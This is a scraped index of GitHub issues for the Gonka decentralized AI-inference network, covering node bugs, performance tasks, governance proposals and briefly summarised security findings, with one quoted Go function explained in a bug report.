@unameisfine opened 2026-03-23Gonka's agent-aware inference gateway handles the compute layer. One gap: when an agent requests inference, there's no cryptographic proof of who authorized that agent or what scope it operates under....
@aeoess opened 2026-03-22 2This is a future task. A detailed description will be provided in the near future. Please do not start working on this task without the detailed specification, as it may turn out to be a different di...
@tcharchian opened 2026-03-21 3Axel-t, together with @tamazgadaev is implementing an integrated PoC in vLLM using layer hooks, benchmarking it extensively from all angles, and investigating why H200 and B200 do not show meaningful...
@tcharchian opened 2026-03-21 4To investigate the impact of log_format = \"json\" vs log_format = \"plain\" on node performance, a [number of experiments were executed on Testnet](https://docs.google.com/spreadsheets/d/1GkV6tn5tgQ3eL7V...
@maria-mitina opened 2026-03-19 3### Discussed in https://github.com/gonka-ai/gonka/discussions/817 Originally posted by **tcharchian** February 27, 2026 Task: Multiple hosts reported n... help wanted up-for-grabs Priority: High @tcharchian opened 2026-03-18 7
- [ ] Reproducible sampling - [ ] Inference Sampling Validation: protection against speculative decoding
@tcharchian opened 2026-03-17 2- [x] Add field validation for node management API - [x] Add a check for the uniqueness of IP + port combinations - [x] #465
@tcharchian opened 2026-03-12 1This task is up for grabs. It could potentially be implemented for a minimal bounty, subject to governance approval. @DimaOrekhovPS is ready to answer questions
enhancement Priority: Low @tcharchian opened 2026-03-12 1## Location `inference-chain/x/bls/keeper/msg_server_group_validation.go` — lines 64–74 ## Description When `GetEpochBLSData` fails with `ErrEpochBLSDataNotFound` for the previous epoch, the code s...
@Mayveskii opened 2026-03-12 2## Location `inference-chain/x/bls/keeper/phase_transitions.go` — lines 74 and 295–318 ## Description The DKG pipeline uses two independent threshold checks with **different weighting schemes** tha...
@Mayveskii opened 2026-03-12 2**Problem** We had only single-recipient vesting transfer. So if we needed to vest tokens to many addresses, we had to add many separate messages into one governance proposal. **Main limita...
@huxuxuya opened 2026-03-12#### Summary This report describes a **potential unsafe deserialization issue** identified during **static/code review**. It has **not been verified on testnet**. The function `torch.load()` is used...
Priority: Low @VVSMEN opened 2026-03-12 1### Summary The ML training manager for the `mlnode` component is currently configured to use hard‑coded dummy TLS credentials for Gloo’s `TCP_TLS` transport. These credentials are stored in the repos...
Priority: Low @VVSMEN opened 2026-03-12 2### Discussed in https://github.com/gonka-ai/gonka/discussions/817 Originally posted by **tcharchian** February 27, 2026 Task: `application.db` is growi... bug help wanted Priority: High @tcharchian opened 2026-03-12 10
A critical vulnerability — CSA-2026-001: Tachyon — was disclosed in CometBFT (Advisory: https://github.com/cometbft/cometbft/security/advisories/GHSA-c32p-wcqj-j677). According to the disclosure, all...
@tcharchian opened 2026-03-12 1Currently, slashed coins are burned. This behavior should be changed. Instead of burning slashed funds, they must be redirected to the Governance module account, consistent with how we handle rewards...
@tcharchian opened 2026-03-12 2# Background `MsgStartInference` and `MsgFinishInference` are too slow in production. Blocks should be processed by nodes within 1-2 seconds, so that block time stays below 6 seconds. This means that...
help wanted up-for-grabs Priority: High requires own mainnet node @tcharchian opened 2026-03-11 10# Background `MsgStartInference` and `MsgFinishInference` are too slow in production. Blocks should be processed by nodes within 1-2 seconds, so that block time stays below 6 seconds. This means that...
Priority: High @tcharchian opened 2026-03-11 22# Background `MsgStartInference` and `MsgFinishInference` are too slow in production. Blocks should be processed by nodes within 1-2 seconds, so that block time stays below 6 seconds. This means that...
Priority: High requires own mainnet node @tcharchian opened 2026-03-11 5# Background `MsgStartInference` and `MsgFinishInference` are too slow in production. Blocks should be processed by nodes within 1-2 seconds, so that block time stays below 6 seconds. This means that...
Priority: High @tcharchian opened 2026-03-11 13StartInference and FinishInference should be significantly optimized, as they are messages used frequently—potentially 1,000+ times per block. The execution time of these messages should be below 1 ms...
@libermans opened 2026-03-11 1### Discussed in https://github.com/gonka-ai/gonka/discussions/817 Originally posted by **tcharchian** February 27, 2026 Task: Some nodes experience mis... bug help wanted up-for-grabs Priority: High @tcharchian opened 2026-03-06 2
In order to make voting more convenient for the contributors, we are exploring delegation of voting rights. The flow of the delegation is the following: Granter gives grantee permission to send specif...
@maria-mitina opened 2026-03-06 4I'm trying to figure out how to create a highly available node. My understanding at the time is following 1. Full-node can be started in multiple instances and we can use some LB for balance and failo...
@Laboltus opened 2026-03-03 1### Description The current implementation of the ML node allocation logic in x/inference/module/model_assignment.go contains an alphabetical bias that affects the fairness of the network. **Alphab...
@huxuxuya opened 2026-03-03 3## Location `decentralized-api/payloadstorage/managed_storage.go` — lines 129–138 ## Description In `ManagedStorage.cleanup()`, `m.minPruned` is advanced to `threshold` **before** the pruning gorou...
@Mayveskii opened 2026-03-03### Discussed in https://github.com/gonka-ai/gonka/discussions/802 Originally posted by **mtvnastya** February 24, 2026 This proposal is closely related... enhancement help wanted up-for-grabs Priority: High @tcharchian opened 2026-03-03 1
**Vulnerability:** Inference Slot Hogging **Severity:** Medium **Component:** model_assignment.go ### Description The system always picks the node with the smallest weight for the \"safe\" inference s...
@huxuxuya opened 2026-03-02 4- [consensus-failure-epoch-length.log](https://github.com/user-attachments/files/22176980/consensus-failure-epoch-length.log) - https://github.com/gonka-ai/gonka/blob/f0a36298bddf8ba7f924b30ac289ad7f5...
@tcharchian opened 2026-02-28 2## Executive Summary Running Gonka nodes currently requires manual CLI-based installation, configuration, and ongoing maintenance. For experienced operators, initial setup typically takes several hou...
enhancement help wanted @ochenUmnayaKatyshka opened 2026-02-27 1**This is an urgent, open issue, and many contributors are working on it in parallel.** There is a quite weird issue today - new nodes can't join from snapshots with error like that: ``` 5:49AM ERR e...
help wanted up-for-grabs Priority: High @tcharchian opened 2026-02-25 5After upgrade v0.2.9, part of epoch 158 rewards appears to be distributed incorrectly. Validators that had ML nodes in preserved inference slot (POC_SLOT, TimeslotAllocation[1]) were not paid. Su...
@huxuxuya opened 2026-02-17 1# Description When MLNodes are disabled `POST 9200/admin/v1/nodes//disable` MLNodes have to work till next PoC according to schedule: ``` enum TimeslotType { PRE_POC_SLOT = 0; POC_SLOT = 1;... bug up-for-grabs @gmorgachev opened 2026-02-12 3
gRPC is enabled, but requests still use RPC (#685 )
@x0152 opened 2026-02-12 2Validators are marked for removal but haven't removed. Happens in cosmos-sdk ``` 7:48AM INF marking validator for removal (not in compute results) jailed=false module=x/staking operator=gonkavaloper1...
bug up-for-grabs @gmorgachev opened 2026-02-12 3This issue outlines a direction for a larger project. Adding new models is not a standalone task and has system-level implications for the architecture. The impact on the overall architecture needs to...
@tcharchian opened 2026-02-11 1When the community distributes funds to miners, the transferred tokens should vest over a fixed 180-epoch period, rather than being fully available at the time of transfer.
@tcharchian opened 2026-02-10 4``` base_url: http://192.241.240.19:8000/v1 Request signing is enabled through a custom HTTP client implementation. Using Gonka address: gonka1twg5lhad6sc86yjqspanmp94md2dx0fhfppxus INFO:httpx:HTTP Re...
@pentoxine opened 2026-02-10 1**Problem:** DAPI crashes when chain node RPC becomes temporarily unavailable (I/O errors, restarts, network issues) **Root Cause:** Missing `return` statement after error in `tryClaimingTaskToAssign...
@mfursov opened 2026-02-10 2Bug Report: api container sends abci_query with height: 0 despite being synced Title: api container sends abci_query for EpochInfo with \"height\":\"0\", causing requests to /v1/epochs/current/participant...
@VaniaHilkovets opened 2026-02-08 1This is a future task. A detailed description will be provided in the near future. Please do not start working on this task without the detailed specification, as it may turn out to be a different di...
up-for-grabs @tcharchian opened 2026-02-07 2If chain node is unreachable even for short period, the API can crash: ``` 2026/01/28 14:01:30 ERROR [training-task-assigner] Failed to query chain status err=\"post failed: Post \\\"http://genesis-node...
@x0152 opened 2026-02-06# POC_SLOT Attack ## Overview An attacker can exploit the current PoC / POC_SLOT allocation logic to obtain a large number of `POC_SLOT = true` positions while running significantly less hardware th...
@akup opened 2026-02-06#666
@IgnatovFedor opened 2026-02-06 1Follow-up to #553. Line 68 uses GetEpochModel (current epoch) instead of GetEpochModelForEpoch(ctx, inference.EpochId, inference.Model)
@x0152 opened 2026-02-06 1# 1. Too large HTTP body: ``` 2025/10/17 11:11:18 INFO Submitting MsgFinishInference subsystem=Inferences inferenceId=\"KXLiAV7ygVDb+fKlU3LOUZtagN+j/hi3FO77w4mnOb4FxmWyRWh712bwBLJIYzYO/PR79xxMI5EDGEqu...
bug @gmorgachev opened 2026-01-29All the old keys from the cluster entered the new epoch, even though that cluster was deleted about six hours ago. For some reason, they passed the PoC with a small weight, but it still looks like the...
@tcharchian opened 2026-01-29# BUG-2: Local MLNode identifier & MLNode lookup in wrong group In function getInferenceServingNodeIds ``` // getInferenceServingNodeIds returns a set of node IDs that have POC_SLOT = true in the c...
bug @gmorgachev opened 2026-01-28Performance: Measure chain performance (number / size of inference request we can actually record on chain a second / a block) - based on the result of the task additional tasks can be created - first...
@tcharchian opened 2026-01-28Fix the bug in network inference API where sending a request with an unsupported model name incorrectly returns the error 402 Insufficient balance.
@gmorgachev opened 2026-01-28This is a future task. A detailed description will be provided in the near future. Please do not start working on this task without the detailed specification, as it may turn out to be a different di...
@tcharchian opened 2026-01-28[log.trace.zip](https://github.com/user-attachments/files/23591255/log.trace.zip) 1. node can’t connect to the seed nodes. 2. then `fatal error: too many concurrent timer firings` ...
@tcharchian opened 2026-01-24 1From this raw log. I need assist how to fix this issue. Or can i change checkpoint origin state and block to other? `bridge | Stopping Prysm log formatter (PID: 82343) bridge | bridge | GETH: INF...
@Knoxpix opened 2026-01-22 1Hi, I encountered an issue with my node where the application.db grew too large. Because of this, I had to stop the node and resync it from a snapshot. However, during the resync period, the node mi...
@bingcongxihaha opened 2026-01-22 1Node crash: Decimal precision panic in reputation calculation (v0.2.7-post1) Summary Node running v0.2.7-post1 crashes with decimal precision panic during reputation calculation in the x/inference mod...
@Olena opened 2026-01-21 3The defunal \"INFERENCE\" state for MLNode de-facto didn't work. it deployed model, but model was not in epoch state => validation would not go to this node => recovery is not possible take a look at...
@tcharchian opened 2026-01-21# Problem On load healthy nodes are missing inferences that could be served, that leads to striking the hosts. # What cause the problem Sometime network is overloaded and up to 1/3 of network-nodes...
@akup opened 2026-01-20 3Removing for inactivity - Goal: to remove inactive/invalid participants faster, not send inference requests to them, not allow them to be TAs / Validators, and remove their voting power - We need to...
@tcharchian opened 2026-01-16- [x] The `node-config.json`, which contains the initial configuration, should not be applied automatically at the start — it should only be applied after an explicit command (otherwise, it creates a...
@tcharchian opened 2026-01-15 1API container doesn't start with: ``` ... Signature:cebe1551ed35b140dce921e98cb291b77cdf99bb246be8600445e072bb5f453a2b21479f2551074e21da5ce8ee1d835213227f703cf09f5fe2ac3995be75a987 Claimed:false} Curr...
bug @tcharchian opened 2026-01-15 1There is a difficulty with PoC, defined by `RTarget` in the repo. It essentially defines the percentage of \"correct\" nonces from all nonces => how many nonces participants has to check to find the cor...
@tcharchian opened 2026-01-15Problem with .nats queue being quite big ``` root@CL-Gonka1-NetNode:~/gonka/deploy/join# du -d1 -h .dapi/.nats 3.6G .dapi/.nats/jetstream 3.6G .dapi/.nats ``` Add some cleaning, maybe find a way to c...
@tcharchian opened 2026-01-15node container restarted due to: ``` fatal error: too many concurrent timer firings runtime stack: runtime.throw({0x5422134?, 0x7f3d16444260?}) /usr/local/go/src/runtime/panic.go:1067 +0x48 fp=0x7f3...
bug @gmorgachev opened 2026-01-15 2- [ ] The `api-config.yml` file often goes missing, and this part is needs to be rewritten: https://github.com/gonka-ai/gonka/blob/bacddd41f257b459d85b04786bee06b49a084dff/decentralized-api/apiconfig/...
@tcharchian opened 2026-01-15Proposal: https://github.com/gonka-ai/gonka/tree/gm/fraud-detection/proposals/fraud-detection-v2
@tcharchian opened 2026-01-15- [x] Identify causes why inference requests are sent to inactive or unresponsive (“dead MLNode”) MLNodes.
@tcharchian opened 2026-01-15Funds associated should be burned
@patimen opened 2026-01-15# Bug Report: Race Condition in Epoch Initialization **Date:** December 13, 2025 **Severity:** High - Causes node exclusion from epoch **Affected Version:** v0.2.5 **Node:** gonka1yq4vwn7fc9x7l...
@baychak opened 2025-12-151. Change `inference_url`. Probably, it should happen immediately and propagate everywhere. 2. Vefigy `inference_url`. Let's think on how can it be verified, at least asynchronousl,y whena node with...
@tcharchian opened 2025-12-08 11. Threshold + Params for big model; 2. Scripts to compute, re-check for existing; 3. New Models - [ ] `gpt-oss-120b` - [x] `DeepSeek-R1-0528` - [x] `gemma-3-27b-it` - [x] `Qwen3-30B-A3B-Instruct-...
@tcharchian opened 2025-12-05 2Proper removal (Check that we also jail => no voting power)
@tcharchian opened 2025-12-02 1Hi, I need access to the GHCR image to run inferenced nodes. My GitHub username: rumirzayev-max Please add me to the gonka-ai organization and grant \"read\" access to: ghcr.io/gonka-ai/inferenced...
@rumirzayev-max opened 2025-11-17 1gonka.db of dapi has priority over node-config.json and keep first settings of node.
@DePunk-eth opened 2025-11-17 1🚨 TL;DR / Summary The Docker image ghcr.io/product-science/inferenced:0.2.4 contains a hard-coded outdated genesis, causing a permanent AppHash mismatch with the live chain. Nodes discover peers, est...
@Asplana92 opened 2025-11-15 6### Summary - Transfer Agents (TAs) can deny requests at the IP layer (e.g., Nginx) without protocol penalties, hurting availability. - TLS terminates on hosts; plaintext is visible at the host and in...
@vvv-tech opened 2025-11-10- [x] GOI-14 | Permissionless Training Operations Enable DoS And Forged Completion - [x] GOI-16 | Missing Access Control In Message Server Handlers - [x] GOI-17 | Dropped Node Rank Updates Are Not Per...
@tcharchian opened 2025-10-15- [x] GOC-12. Unchecked PubKey–Address Binding Allows Account Squatting - [x] GOC-13. Usage Of Must Marshaling Methods In `EndBlock ExecutedCode` - [x] GOC-14. Unbounded Pruning At Epoch Boundaries Ca...
@tcharchian opened 2025-10-15- [x] GOC-19 | Count Participant With Zero Balance Is Missing Balance Check - [x] GOC-20 | Go Package Dependency Issues - [x] GOC-22 | Inconsistent Epoch ID Handling In `GetPreviousEpochMLNodesWithInf...
@tcharchian opened 2025-10-091. Threshold + Params for big model; 2. Scripts to compute, re-check for existing; 3. New Models - [x] `Qwen3-235B-A22B-Instruct-2507` - [ ] `gpt-oss-120b` - [ ] `DeepSeek-R1-0528` - [ ] `gemma-3-...
@tcharchian opened 2025-09-16When MLNodes are disabled POST 9200/admin/v1/nodes/<id>/disable
MLNodes have to work till next PoC according to schedule:
enum TimeslotType {\n PRE_POC_SLOT = 0;\n POC_SLOT = 1;\n}\nEssentially: - work till end of current - serve inference during next PoC if POC_SLOT is set to true (on-duty nodes)
It supposed that after end of next PoC, all disabled MLNodes will be have weight 0 and not used anymore.
Currently, the MLNode which was on-duty has the same weight as in previous epoch and scheduled for the next epoch (can be checked in /v1/epochs/10/participants). At the same time it's not presented in HardwareNodes (can be checked in: ./inferenced query inference hardware-nodes-all)
up-tp-grabs, but needs to be rechecked
@AlexeySamosadov commented 2026-02-08 14:14 UTCPR created: https://github.com/gonka-ai/gonka/pull/682
Skips disabled nodes from governance model population.
@AlexeySamosadov commented 2026-02-12 15:34 UTCI have a PR for this: #682 — skips disabled nodes from governance model population. Would appreciate a review when you get a chance.
🔄 Auto-synced from Issue #310 every hour.
"}, {"location": "community/issues/00311-bug-2-local-mlnode-identifier-mlnode-lookup-in-wrong-group/", "title": "#311 — BUG-2: Local MLNode identifier & MLNode lookup in wrong group", "text": "BUG-2: Local MLNode identifier & MLNode lookup in wrong group #311 Closed @gmorgachev opened 2025-09-02 09:28 UTC 0 comments Updated 2026-01-28 22:34 UTC bug🔄 Auto-synced from Issue #311 every hour.
"}, {"location": "community/issues/00311-bug-2-local-mlnode-identifier-mlnode-lookup-in-wrong-group/#bug-2-local-mlnode-identifier-mlnode-lookup-in-wrong-group", "title": "BUG-2: Local MLNode identifier & MLNode lookup in wrong group", "text": "In function getInferenceServingNodeIds
// getInferenceServingNodeIds returns a set of node IDs that have POC_SLOT = true in the current epoch\nfunc (am AppModule) getInferenceServingNodeIds(ctx context.Context, upcomingEpoch types.Epoch) map[string]bool {\n inferenceServingNodeIds := make(map[string]bool)\n\n // Skip for first epoch\n if upcomingEpoch.Index <= 1 {\n return inferenceServingNodeIds\n }\n\n // Get current epoch group data\n currentEpochGroup, err := am.keeper.GetCurrentEpochGroup(ctx)\n if err != nil {\n am.LogError(\"getInferenceServingNodeIds: Unable to get current epoch group\", types.PoC, \"error\", err.Error())\n return inferenceServingNodeIds\n }\n\n // Find all nodes with POC_SLOT = true\n for _, validationWeight := range currentEpochGroup.GroupData.ValidationWeights {\n for _, mlNode := range validationWeight.MlNodes {\n if len(mlNode.TimeslotAllocation) > 1 && mlNode.TimeslotAllocation[1] { // POC_SLOT = true\n inferenceServingNodeIds[mlNode.NodeId] = true\n am.LogInfo(\"getInferenceServingNodeIds: Found inference-serving node\", types.PoC,\n \"nodeId\", mlNode.NodeId,\n \"participantAddress\", validationWeight.MemberAddress)\n }\n }\n }\n\n return inferenceServingNodeIds\n}\nmlNode.NodeId is used as key for inferenceServingNodeIds. This is local MLNode identifier which might not be unique between different participants which might lead to collisions
Related, larger issue in the same area: the top-level epoch group currentEpochGroup.GroupData.ValidationWeights has empty MlNodes because no mlnodes stored in root group (only in model sub-groups). As a result, this scan always returns none and getInferenceServingNodeIds is empty.
That's why we have everywhere in logs:
11:47AM INF ComputeNewWeights: Found inference-serving nodes inferenceServingNodeIds={} module=x/inference subsystem=PoC\nImpact of both issues is minimal. This result is only used for an extra PoC-batch filtering pass; it's effectively a non-essential double-check, but which is actually disabled now. Even with an empty set, core behavior remains unaffected:
originalBatches := am.filterPoCBatchesFromInferenceNodes(allOriginalBatches, inferenceServingNodeIds)\nam.GetPreservedNodesByParticipant(ctx, upcomingEpoch.Index-1) and convert it into a set keyed by (participantAddress, nodeId).NodeId collisions by using a composite key (participantAddress, nodeId) instead of bare NodeId.Priority: not urgent but should be fixed but
"}, {"location": "community/issues/00313-p0-negative-balance-panic/", "title": "#313 — [P0] Negative balance panic", "text": "[P0] Negative balance panic #313 Closed @tcharchian opened 2025-09-03 22:43 UTC 0 comments Updated 2025-09-22 18:21 UTC(empty)
🔄 Auto-synced from Issue #313 every hour.
"}, {"location": "community/issues/00314-p0-make-seed-derived-from-private-key/", "title": "#314 — [P0] Make Seed derived from private key", "text": "[P0] Make Seed derived from private key #314 Closed @tcharchian opened 2025-09-03 22:44 UTC 0 comments Updated 2025-10-15 00:58 UTC(empty)
🔄 Auto-synced from Issue #314 every hour.
"}, {"location": "community/issues/00315-p0-move-config-to-db-like-seed-etc/", "title": "#315 — [P0] Move config to DB (like seed, etc)", "text": "[P0] Move config to DB (like seed, etc) #315 Closed @tcharchian opened 2025-09-03 22:44 UTC 0 comments Updated 2026-01-15 22:00 UTCapi-config.yml file often goes missing, and this part is needs to be rewritten: https://github.com/gonka-ai/gonka/blob/bacddd41f257b459d85b04786bee06b49a084dff/decentralized-api/apiconfig/config_manager.go#L302api-config should be split into two parts:🔄 Auto-synced from Issue #315 every hour.
"}, {"location": "community/issues/00316-p0-missing-validation-and-inference-request-threshold-adjust/", "title": "#316 — [P0] Missing validation and inference request threshold adjustment / stattest", "text": "[P0] Missing validation and inference request threshold adjustment / stattest #316 Closed @tcharchian opened 2025-09-03 22:45 UTC 0 comments Updated 2026-01-15 21:57 UTCProposal: https://github.com/gonka-ai/gonka/tree/gm/fraud-detection/proposals/fraud-detection-v2
🔄 Auto-synced from Issue #316 every hour.
"}, {"location": "community/issues/00317-p0-epoch-length/", "title": "#317 — [P0] Epoch length", "text": "[P0] Epoch length #317 Closed @tcharchian opened 2025-09-03 22:45 UTC 0 comments Updated 2026-02-10 01:24 UTC(empty)
🔄 Auto-synced from Issue #317 every hour.
"}, {"location": "community/issues/00318-p0-merge-mlnode-upgrades-docs/", "title": "#318 — [P0] Merge MLNode upgrades + docs", "text": "[P0] Merge MLNode upgrades + docs #318 Closed @tcharchian opened 2025-09-03 22:46 UTC 1 comment Updated 2026-01-15 23:04 UTC(empty)
"}, {"location": "community/issues/00318-p0-merge-mlnode-upgrades-docs/#comments-1", "title": "💬 Comments (1)", "text": "@tcharchian commented 2026-01-15 23:04 UTC 364 #362 #228 #267 #303🔄 Auto-synced from Issue #318 every hour.
"}, {"location": "community/issues/00319-p0-merge-enforced-tokens/", "title": "#319 — [P0] Merge enforced_tokens", "text": "[P0] Merge enforced_tokens #319 Closed @tcharchian opened 2025-09-03 22:46 UTC 1 comment Updated 2026-01-15 23:06 UTC(empty)
"}, {"location": "community/issues/00319-p0-merge-enforced-tokens/#comments-1", "title": "💬 Comments (1)", "text": "@tcharchian commented 2026-01-15 23:06 UTC 256🔄 Auto-synced from Issue #319 every hour.
"}, {"location": "community/issues/00320-p0-internal-testnet-k8-another-scripts-with-new-servers/", "title": "#320 — [P0] Internal TestNet: k8 / another scripts with new servers", "text": "[P0] Internal TestNet: k8 / another scripts with new servers #320 Closed @tcharchian opened 2025-09-03 22:46 UTC 0 comments Updated 2025-09-22 18:22 UTC(empty)
🔄 Auto-synced from Issue #320 every hour.
"}, {"location": "community/issues/00321-p0-threshold-params-for-big-model/", "title": "#321 — [P0] Threshold + Params for big model", "text": "[P0] Threshold + Params for big model #321 Closed @tcharchian opened 2025-09-03 22:57 UTC 0 comments Updated 2025-09-16 22:30 UTCNew Models
Qwen3-235B-A22B-Instruct-2507
gpt-oss-120bDeepSeek-R1-0528gemma-3-27b-itQwen3-30B-A3B-Instruct-2507 gpt-oss-20b
Instruction to do it
🔄 Auto-synced from Issue #321 every hour.
"}, {"location": "community/issues/00322-p0-dashboard-reward-fix-vesting-poc-stages-total-power-gpus-/", "title": "#322 — [P0] Dashboard (reward fix + vesting; poc stages; total power; gpu’s; participants with logos and contacts)", "text": "[P0] Dashboard (reward fix + vesting; poc stages; total power; gpu’s; participants with logos and contacts) #322 Closed @tcharchian opened 2025-09-03 23:01 UTC 1 comment Updated 2026-02-10 01:23 UTC(empty)
"}, {"location": "community/issues/00322-p0-dashboard-reward-fix-vesting-poc-stages-total-power-gpus-/#comments-1", "title": "💬 Comments (1)", "text": "@tcharchian commented 2025-09-16 16:57 UTChttps://docs.google.com/spreadsheets/d/1objmukml2txGK5Yr4k9GsP5K9EUFhG04L8GqqST3XYY/edit?gid=0#gid=0
🔄 Auto-synced from Issue #322 every hour.
"}, {"location": "community/issues/00323-p0-replace-model-with-non-dynamic-quantization-to-avoid-quan/", "title": "#323 — [P0] Replace model with non-dynamic quantization to avoid quantization mismatch", "text": "[P0] Replace model with non-dynamic quantization to avoid quantization mismatch #323 Closed @tcharchian opened 2025-09-03 23:02 UTC 0 comments Updated 2025-09-22 18:22 UTC(empty)
🔄 Auto-synced from Issue #323 every hour.
"}, {"location": "community/issues/00324-p0-poc-nonce-performance-improvements-h100-vs-8xh100-define-/", "title": "#324 — [P0] PoC nonce performance improvements (H100 vs 8xH100) — define reasons", "text": "[P0] PoC nonce performance improvements (H100 vs 8xH100) — define reasons #324 Closed @tcharchian opened 2025-09-03 23:03 UTC 1 comment Updated 2026-01-28 22:33 UTC(empty)
"}, {"location": "community/issues/00324-p0-poc-nonce-performance-improvements-h100-vs-8xh100-define-/#comments-1", "title": "💬 Comments (1)", "text": "@tcharchian commented 2026-01-28 22:33 UTCoutdated for PoC v2
🔄 Auto-synced from Issue #324 every hour.
"}, {"location": "community/issues/00325-p0-no-inference-failures-on-the-edge-of-poc-check-for-missed/", "title": "#325 — [P0] No inference failures on the edge of PoC; Check for missed validation during epoch", "text": "[P0] No inference failures on the edge of PoC; Check for missed validation during epoch #325 Closed @tcharchian opened 2025-09-03 23:09 UTC 2 comments Updated 2026-02-05 05:17 UTC(empty)
"}, {"location": "community/issues/00325-p0-no-inference-failures-on-the-edge-of-poc-check-for-missed/#comments-2", "title": "💬 Comments (2)", "text": "@tcharchian commented 2026-01-15 00:24 UTC 517 #541 #516 #525 partially address @tcharchian commented 2026-02-03 22:58 UTCoutdated
🔄 Auto-synced from Issue #325 every hour.
"}, {"location": "community/issues/00326-p2-improve-onboarding-experience/", "title": "#326 — [P2] Improve onboarding experience", "text": "[P2] Improve onboarding experience #326 Open @tcharchian opened 2025-09-03 23:10 UTC 4 comments Updated 2026-06-24 01:10 UTCImprove onboarding experience:
Description of the proposal: https://github.com/gonka-ai/gonka/blob/a2a15267ea4aa55288fc873f4e5e68bc69366447/proposals/onboarding-clarity-v1/README.md
"}, {"location": "community/issues/00326-p2-improve-onboarding-experience/#comments-4", "title": "💬 Comments (4)", "text": "@Pegasus-starry commented 2025-12-08 18:47 UTCYou can use query defined in query_current_epoch_group_data.go and then iterate over participants. If you need to access this data in decentralized-api please make a client with NewInferenceQueryClient
I think we should create a new admin endpoint, something like admin/v1/test-poc, then it should automatically locate all nodes that aren't busy and start PoC by sending /v1/pow/init/generate to them. Ideally it should also confirm that it receives the batches back. Maybe it should an external script? @gmorgachev what do you think?
I think the proposal just asks to show this info in logs clearly
Hey @zyz-007 @jacky6block @icydark @wushuo-6 @mumu714 @Ryanchen911 @x0152 @akup! It would be great if some of you could sync on the next steps for this pull request and make the needed decisions together. If you are able to move it forward on your own, it could potentially be included in v0.2.12. But overall, this is a nice-to-have rather than something critical.
@tcharchian commented 2026-05-22 01:04 UTCHey @zyz-007 @jacky6block @icydark @Ryanchen911 @x0152! It would be great if some of you could sync on the next steps for this issue and make the needed decisions together. If you are able to move it forward on your own, it could potentially be included in v0.2.14. But overall, this is a nice-to-have rather than something critical.
See: https://github.com/gonka-ai/gonka/pull/866#issuecomment-4172544143
🔄 Auto-synced from Issue #326 every hour.
"}, {"location": "community/issues/00327-p1-performance-measure-chain-performance/", "title": "#327 — [P1] Performance: Measure chain performance", "text": "[P1] Performance: Measure chain performance #327 Closed @tcharchian opened 2025-09-03 23:14 UTC 0 comments Updated 2026-01-28 22:30 UTCPerformance: Measure chain performance (number / size of inference request we can actually record on chain a second / a block) - based on the result of the task additional tasks can be created - first assumption is the next task Previous estimations: https://docs.google.com/spreadsheets/d/1MHkfS8GVN-4cRjbSDJIUfC1MQQVNZU2wvPVN-bvZNHk/edit?usp=sharing https://github.com/gonka-ai/gonka/blob/main/proposals/limits/README.md
🔄 Auto-synced from Issue #327 every hour.
"}, {"location": "community/issues/00328-p1-off-chain-validation-data-on-demand-on-chain-inference/", "title": "#328 — [P1] Off-chain validation data == on demand on-chain inference", "text": "[P1] Off-chain validation data == on demand on-chain inference #328 Closed @tcharchian opened 2025-09-03 23:16 UTC 0 comments Updated 2026-01-29 05:17 UTC(empty)
🔄 Auto-synced from Issue #328 every hour.
"}, {"location": "community/issues/00329-p1-check-data-limits-for-poc/", "title": "#329 — [P1] Check data limits for PoC", "text": "[P1] Check data limits for PoC #329 Closed @tcharchian opened 2025-09-03 23:16 UTC 0 comments Updated 2026-02-10 01:24 UTC(empty)
🔄 Auto-synced from Issue #329 every hour.
"}, {"location": "community/issues/00330-p2-security-merkletree-proofs-merge-participant-validation-t/", "title": "#330 — [P2] Security MerkleTree Proofs; Merge participant validation till block0; Need to add signature check at recording", "text": "[P2] Security MerkleTree Proofs; Merge participant validation till block0; Need to add signature check at recording #330 Open @tcharchian opened 2025-09-03 23:17 UTC 1 comment Updated 2026-06-24 01:04 UTCThis is a future task. A detailed description will be provided in the near future.
Please do not start working on this task without the detailed specification, as it may turn out to be a different direction than expected, which could reduce the chances of receiving a reward.
If you are interested in completing this task, please leave a comment here. After that, feel free to contact me on Discord: tatianacharchian_07833.
https://github.com/gonka-ai/gonka-openai/pull/2 https://github.com/gonka-ai/gonka-utils/pull/1
🔄 Auto-synced from Issue #330 every hour.
"}, {"location": "community/issues/00331-p1-api-for-wallets-keplr-leap-indexers-we-do-have-the-api-we/", "title": "#331 — [P1] API for wallets (Keplr, Leap) / indexers (we do have the API, we need to get the thought process of adding Gonka to different wallets, and see what we are missing.", "text": "[P1] API for wallets (Keplr, Leap) / indexers (we do have the API, we need to get the thought process of adding Gonka to different wallets, and see what we are missing. #331 Closed @tcharchian opened 2025-09-03 23:17 UTC 0 comments Updated 2026-01-24 00:45 UTC(empty)
🔄 Auto-synced from Issue #331 every hour.
"}, {"location": "community/issues/00332-p1-merge-bridge/", "title": "#332 — [P1] Merge Bridge", "text": "[P1] Merge Bridge #332 Closed @tcharchian opened 2025-09-03 23:17 UTC 0 comments Updated 2026-01-21 20:01 UTC(empty)
🔄 Auto-synced from Issue #332 every hour.
"}, {"location": "community/issues/00333-p1-vllm-tools/", "title": "#333 — [P1] vLLM tools", "text": "[P1] vLLM tools #333 Closed @tcharchian opened 2025-09-03 23:18 UTC 0 comments Updated 2025-10-20 18:28 UTC(empty)
🔄 Auto-synced from Issue #333 every hour.
"}, {"location": "community/issues/00334-p1-key-rotation-validator-info-update-warm-key-node-id-key-p/", "title": "#334 — [P1] Key Rotation & Validator info update (warm key, node-id / key, public url)", "text": "[P1] Key Rotation & Validator info update (warm key, node-id / key, public url) #334 Closed @tcharchian opened 2025-09-03 23:18 UTC 0 comments Updated 2026-01-29 05:18 UTC(empty)
🔄 Auto-synced from Issue #334 every hour.
"}, {"location": "community/issues/00335-p1-check-why-we-often-see-slashing-in-logs/", "title": "#335 — [P1] Check why we often see slashing in logs", "text": "[P1] Check why we often see slashing in logs #335 Open @tcharchian opened 2025-09-03 23:18 UTC 0 comments Updated 2026-01-28 02:03 UTCThis is a future task. A detailed description will be provided in the near future.
Please do not start working on this task without the detailed specification, as it may turn out to be a different direction than expected, which could reduce the chances of receiving a reward.
If you are interested in completing this task, please leave a comment here. After that, feel free to contact me on Discord: tatianacharchian_07833.
🔄 Auto-synced from Issue #335 every hour.
"}, {"location": "community/issues/00336-p1-retry-for-inference-dont-send-inference-to-inactive-nodes/", "title": "#336 — [P1] Retry for inference + don’t send inference to inactive nodes", "text": "[P1] Retry for inference + don’t send inference to inactive nodes #336 Closed @tcharchian opened 2025-09-03 23:19 UTC 0 comments Updated 2026-01-15 21:52 UTC🔄 Auto-synced from Issue #336 every hour.
